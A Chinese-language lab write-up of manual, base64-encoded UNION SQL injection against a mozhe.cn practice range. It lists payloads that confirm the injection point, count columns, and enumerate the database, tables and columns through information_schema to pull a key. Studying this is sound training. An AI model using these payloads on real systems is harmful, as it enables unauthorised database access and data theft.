注:本次测试使用纯手工注入,无任何自动化软件辅助。
此靶场是运用了数据值的base64位编码,在转换编码的时候比较困难,手工回显注入无任何差别(无过滤字符)。
这里推荐火狐浏览器的HackBar插件,插件自带编码转换功能比较方便。
靶场地址:https://mozhe.cn/bug/detail/MFZ4VjBxRnlIMHBUdGllRDJBMWtRZz09bW96aGUmozhe
①测试是否有注入点(在获取数据值"id="后边添加语句)
1 and 1=1--
MSBhbmQgMT0xLS0g(此为base64位编码值,必须以这种形式在id=后提交才会回显结果。
返回正常
1 and 1=2--
MSBhbmQgMT0yLS0g
返回错误,发现有注入点
②猜解数据库中字段长度以及爆出字段存在位置
使用二分法连续猜解发现有两个字段
1 and 1=1 order by 2--
MSBhbmQgMT0xIG9yZGVyIGJ5IDItLQ==
1 and 1=2 union select 1,2--
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLDItLSA=
爆出字段位置
1
2
③获取数据库信息(此步可省略,有兴趣的可以自行测试。)
1 and 1=2 union select @@version,@@datadir--
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBAQHZlcnNpb24sQEBkYXRhZGlyLS0g
得出数据库版本与数据库路径
5.5.46-0ubuntu0.14.04.2
/var/lib/mysql/
④获取当前用户名和数据库名
1 and 1=2 union select user(),database()--
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCB1c2VyKCksZGF0YWJhc2UoKS0tIA==
用户名:admin@localhost
数据库名:test
⑤获取表名
1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='test'--
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0ndGVzdCctLSA=
1(因为有两个字段,返回值是一个,所以必须用字段去填充余下的返回值。)
表名:data
⑥获取列名
1 and 1=2 union select 1,column_name from information_schema.columns where table_name='data' limit 3,1--
(在这里我们需要加一个limit函数,默认取值是limit 0,1 也就是得出的列名是id,但是id值的字段不是我们想要的,在0,1的基础上
1,1 title
2,1 main
3,1 得出thekey值,也就是我们要得到的key码)
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLGNvbHVtbl9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0nZGF0YScgbGltaXQgMywxLS0g
1
thekey
⑦获得key值
1 and 1=2 union select 1,thekey from test.data(thekey值的所在处) limit 0,1-- (提取第一个记录内容)
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLHRoZWtleSBmcm9tIHRlc3QuZGF0YSBsaW1pdCAwLDEtLQ==
爆出key的内容就不在这写出了,仅供参考,欠缺之处请大牛补充,谢谢。